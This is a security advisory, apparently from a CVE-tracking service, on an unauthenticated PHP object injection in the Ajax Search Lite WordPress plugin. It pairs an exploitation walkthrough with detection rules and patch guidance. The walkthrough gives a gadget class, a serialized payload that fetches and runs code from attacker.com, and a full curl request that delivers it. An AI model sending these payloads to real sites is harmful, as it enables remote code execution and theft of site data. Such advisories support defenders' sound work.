CVE-2026-16258
Executive Summary
CVE-2026-16258 is a critical unauthenticated PHP Object Injection vulnerability in the Ajax Search Lite WordPress plugin, affecting versions prior to 4.14.5. The vulnerability resides in the plugin's Search Statistics REST endpoint, where untrusted serialized input is deserialized without proper validation. Successful exploitation allows unauthenticated attackers to achieve Remote Code Execution (RCE) on the target WordPress server when a suitable POP (Property-Oriented Programming) chain exists via another installed plugin. Given that WordPress sites frequently run multiple plugins and the attack requires no authentication, this vulnerability poses an immediate and severe risk to all affected deployments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The core vulnerability leverages PHP's unserialize() function on attacker-controlled data transmitted to the Search Statistics REST API endpoint. The Ajax Search Lite plugin registers a custom REST API route designed to collect search statistics and analytics data from client-side interactions. This endpoint accepts POST requests containing serialized PHP objects representing search event records.
The flaw manifests due to insufficient input validation before invoking unserialize() on the received payload. In PHP, unserialize() on attacker-controlled input is inherently dangerous because it can instantiate arbitrary classes and set their properties to values chosen by the attacker. When the object is destroyed or garbage-collected, PHP invokes magic methods such as __destruct(), __wakeup(), or __toString() on the instantiated objects.
While PHP Object Injection alone does not directly yield code execution, it becomes weaponizable when combined with a gadget chain — a sequence of magic methods and object property manipulations that eventually invoke a dangerous function like system(), eval(), or call_user_func(). The NVD description explicitly notes that a suitable POP chain can be sourced from another installed plugin, making the attack realistic on typical WordPress installations that run multiple plugins.
Attack Surface:
- Authentication Required: None — the REST endpoint is publicly accessible
- Network Vector: Remote, over HTTP/HTTPS
- Endpoint:
/wp-json/asl_search_statistics/...or similar custom REST route (exact path depends on plugin implementation) - Prerequisite: Presence of a POP chain gadget in another installed plugin (e.g., a plugin with
__destruct()callingcall_user_funcorevalon controllable properties)
Code-Level Mechanism:
- Attacker sends a POST request with
Content-Type: application/jsonor form-encoded data to the statistics endpoint - The payload contains an attacker-crafted serialized PHP object, e.g.,
O:8:"GadgetClass":1:{s:4:"cmd";s:6:"id;whoami";} - The plugin extracts the serialized string and passes it directly to
unserialize()without sanitization or allowed-classes restriction - PHP instantiates the gadget class and registers it for garbage collection
- Upon script completion or object destruction, PHP invokes
__destruct()on the gadget, which triggers the POP chain - The chain executes arbitrary operating system commands in the context of the web server user (typically
www-data)
Exploitation Scenarios
Scenario: Unauthenticated RCE via POP Chain
Step 1 — Reconnaissance and Target Identification An attacker first identifies WordPress sites running Ajax Search Lite version < 4.14.5. This is accomplished via:
- Shodan/Censys fingerprinting: Search for
wp-content/plugins/ajax-search-litein HTTP response bodies, or use tools like WPScan with--enumerate vpto detect vulnerable plugin versions - Scanning for the plugin's directory existence:
curl -s -o /dev/null -w "%{http_code}" https://target.com/wp-content/plugins/ajax-search-lite/readme.txt - Banner grabbing to identify version string from the plugin's readme file
Step 2 — POP Chain Gadget Discovery The attacker inspects all installed plugins on the target (or performs a fingerprinting pass) to locate a class with a dangerous magic method. A common gadget example:
class LogCleanup {
public $cmd;
public function __destruct() {
system($this->cmd);
}
}
If a plugin like "Example Logger Pro" defines such a class, the attacker chains it.
Step 3 — Weaponization and Payload Construction The attacker crafts a serialized PHP payload:
O:11:"LogCleanup":1:{s:3:"cmd";s:34:"curl http://attacker.com/shell.php | php";}
URL-encoded, this becomes the statistics parameter in the REST request.
Step 4 — Trigger and Execution
curl -X POST https://target.com/wp-json/ajax-search-lite/v1/statistics \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'statistics=O%3A11%3A%22LogCleanup%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A34%3A%22curl+http%3A%2F%2Fattacker.com%2Fshell.php+%7C+php%22%3B%7D'
The plugin calls unserialize() on the statistics parameter. PHP instantiates LogCleanup, and upon request completion, __destruct() fires, executing the command.
Step 5 — Post-Exploitation
- The attacker downloads a web shell to the WordPress uploads directory
- Establishes persistence via a malicious WordPress plugin or theme
- Uses the compromised server as a pivot point for lateral movement into the hosting environment
- Exfiltrates the WordPress database (credentials, user data, OAuth tokens)
- Potentially moves laterally to adjacent virtual hosts on shared hosting infrastructure
Impact Assessment
CVSS Score: N/A (not yet scored by the vendor or NVD)
Business Impact: Critical severity due to unauthenticated nature and RCE potential:
- Confidentiality: Complete compromise of web server files, database credentials, WordPress configuration (wp-config.php), and all application data
- Integrity: Attacker can modify site content, inject malware, deface the website, backdoor core files
- Availability: Full site takeover, potential to delete all data or render the site inoperable
Blast Radius:
- Directly affected: Any WordPress installation running Ajax Search Lite < 4.14.5
- Cascading: On shared hosting, compromise may expose neighboring accounts and databases
- Downstream: Visitors to compromised WordPress sites are at risk of drive-by malware, credential phishing, or SEO spam injection
Attack Complexity: Low — requires no authentication, minimal technical skill to execute once the REST endpoint and a gadget chain are identified
Ephemeral Context: EPSS not yet scored by FIRST.org; however, the presence of public exploit material in the wild (PoC status: Public) suggests active exploitation is likely imminent or ongoing.
Detection Guidance
Sigma Rule
title: CVE-2026-16258 - Ajax Search Lite PHP Object Injection
id: 19f3f7c9-5d34-4a2f-98aa-7e5c9a1b4e92
status: experimental
description: Detects attempts to exploit unauthenticated PHP object injection in the Ajax Search Lite plugin via its search statistics REST endpoint.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-16258
author: YourOrg Security Team
date: 2026/02/15
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- 'wp-json/ajax-search-lite/v1/statistics'
- 'ajax-search-lite'
- 'asl_search_statistics'
cs-body|contains:
- 'O:'
- 's:'
- 'unserialize'
- 'a:'
- 'i:'
condition: selection
level: critical
falsepositives:
- Normal plugin internals may send serialized data (range-check first)
YARA Rule
rule CVE_2026_16258_AjaxSearchLite_PHPObjectInjection {
meta:
author = "YourOrg Security Team"
date = "2026-02-15"
description = "Detects serialized PHP object payloads targeting Ajax Search Lite statistics endpoint"
cve = "CVE-2026-16258"
severity = "critical"
strings:
$endpoint1 = "ajax-search-lite/v1/statistics" ascii nocase
$endpoint2 = "asl_search_statistics" ascii nocase
$endpoint3 = "wp-json" ascii nocase
$serialized_obj = /O:[0-9]{1,3}:\"[A-Za-z_\\][A-Za-z0-9_\\]*\":[0-9]+:\{/ ascii
$serialized_str = /s:[0-9]+:\"[^\"]*\"\;/ ascii
$dangerous_call = /(system|exec|passthru|shell_exec|popen|eval)\s*\(/ nocase
condition:
(any of ($endpoint*)) and $serialized_obj and $serialized_str and any of ($dangerous_call*)
}
Suricata IDS Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2026-16258 - Ajax Search Lite PHP Object Injection Attempt";
flow:established,to_server;
http.method:"POST";
http.uri:contains "wp-json" and http.uri:contains "ajax-search-lite";
http.uri:contains "statistics";
http.request_body;
content:"O:"; distance:0; within:80;
pcre:"/O:\d+:\"[A-Za-z_\\][A-Za-z0-9_\\]*\":";
content:"s:"; distance:0; within:20;
pcre:"/s:\d+:\"http|s:\d+:\"cmd|s:\d+:\"system|s:\d+:\"eval/i";
sid:202616258;
rev:1;
metadata:created_at 2026-02-15, cve CVE-2026-16258, probability high;
reference:url, https://nvd.nist.gov/vuln/detail/CVE-2026-16258;
classtype:attempted-admin;
)
Elastic Detection
sequence by source.ip with maxspan=5m
[network where event.category == "network" and network.protocol == "http"
and http.request.method == "POST"
and http.request.body.content : "*O:*"
and http.request.body.content : "*s:*"
and http.request.body.content : "*cmd*"
and url.path : "*ajax-search-lite*statistics*"]
[process where event.action == "exec" and process.command_line : "*whoami*" or process.command_line : "*curl*" or process.command_line : "*wget*"]
Splunk SPL Query
index=web sourcetype=iis OR sourcetype=apache:access
| where method="POST"
| where uri LIKE "%ajax-search-lite%" OR uri LIKE "%statistics%"
| regex _raw "(?i)(wp-json.*statistics|asl_search_statistics)"
| regex _raw "O:[0-9]{1,3}:\"[A-Za-z_\\][A-Za-z0-9_\\]*\"[^{]{0,10}\{[^\}]{0,500}"
| eval cmd_extracted = if(match(form_data,"cmd"),"yes","no")
| where cmd_extracted=="yes" OR match(_raw,"system|exec|passthru|shell_exec|popen|eval")
| table _time, src_ip, uri, method, form_data, host
| sort - _time
| head 100
Wazuh OSSEC Rule
<group name="web_attack,">
<rule id="100258" level="15">
<decoded_as>json</decoded_as>
<field name="http.method">POST</field>
<regex>(.*)wp-json/ajax-search-lite/v1/statistics(.*)</regex>
<regex>(.*)O:[0-9]+:"[^"]+":[0-9]+:\{(.*)</regex>
<description>CVE-2026-16258 - Ajax Search Lite PHP Object Injection attempt detected</description>
<group>authentication_attack,</group>
<mitre>
<id>T1190</id>
</mitre>
<options>no_full_log</options>
</rule>
<rule id="100259" level="12">
<if_sid>100258</if_sid>
<regex>(.*)(system|exec|passthru|shell_exec|eval)(.*)</regex>
<description>CVE-2026-16258 - Confirmed RCE payload in Ajax Search Lite exploitation attempt</description>
<group>attack,execution,</group>
<mitre>
<id>T1203</id>
</mitre>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence: 2/4 — CLAIMED. NVD reports the fix in version 4.14.5; however, this is a single-source claim not yet independently confirmed by the vendor advisory. Exercise due diligence verifying the environment after upgrade.
Immediate Mitigations (disaster response):
- Upgrade immediately to Ajax Search Lite 4.14.5 or later. This is the only definitive fix.
- If upgrade is not immediately possible, block access to the REST endpoint via WAF or
.htaccess:<FilesMatch ".*"> <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-json/(.*)?statistics - [F,L] </IfModule> </FilesMatch> - Disable the REST API statistics feature entirely if plugin settings allow, or disable the REST API globally (with caution for legitimate uses).
- Temporarily remove the plugin from production until patching is completed.
Patch/Upgrade Steps:
- Backup the entire WordPress installation and database.
- Navigate to WordPress Admin → Plugins → Installed Plugins.
- Locate Ajax Search Lite → Click "Update Now" (if auto-update is not enabled).
- Alternatively, download the updated plugin from the WordPress repository and replace the plugin directory via FTP/SFTP.
- Verify version: after upgrade, check
/wp-content/plugins/ajax-search-lite/readme.txtshowsStable tag: 4.14.5or higher. - Clear caches (page cache, object cache, CDN).
- Test search functionality and REST API endpoints to ensure no regressions.
Long-Term Hardening:
- Restrict Serialization Inputs: Audit all WordPress plugins for
unserialize()calls on user-controlled input. Use PHP'sallowed_classesparameter withunserialize()to restrict instantiation to a specific whitelist. - Web Application Firewall: Deploy a WAF (Cloudflare, AWS WAF, ModSecurity) with rules blocking serialized PHP objects in POST bodies (
O:patterns in body parameters). - Least Privilege: Run the web server process as an unprivileged user (
www-datawith restricted permissions). Disable dangerous PHP functionssystem(),exec(),passthru(),shell_exec()inphp.ini'sdisable_functionsdirective. - Patch Management: Enable automatic WordPress plugin updates, or implement a centralized patch management process with 48-hour SLA for security-critical updates.
- Monitor for Indicator Signals: Search web server access logs for POST requests to
/wp-json/*statistics*endpoints, especially those containingO:patterns in request bodies. - Apply OS and Container-Level Isolation: Use containerization (Docker) or virtualized environments to limit blast radius from RCE. Restrict outbound network connections from the web server to prevent command-and-control beaconing.
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-16258
- WordPress Plugin Repository: https://wordpress.org/plugins/ajax-search-lite/ (changelog for version 4.14.5)
- OWASP PHP Object Injection Guide: https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection
- PHP Manual — unserialize() Security Notes: https://www.php.net/manual/en/function.unserialize.php
- CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (CVE-2026-16258 not listed as of this report date)
Threat Actor Signals: No specific threat actor or malware campaign has been publicly attributed to this CVE at the time of writing. However, the public availability of PoC material (PoC status: Public) and the historical pattern of rapid weaponization for WordPress plugin vulnerabilities suggest a high likelihood of active in-the-wild exploitation. Security teams should assume compromised systems if any indicators are detected and prioritize patching accordingly.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.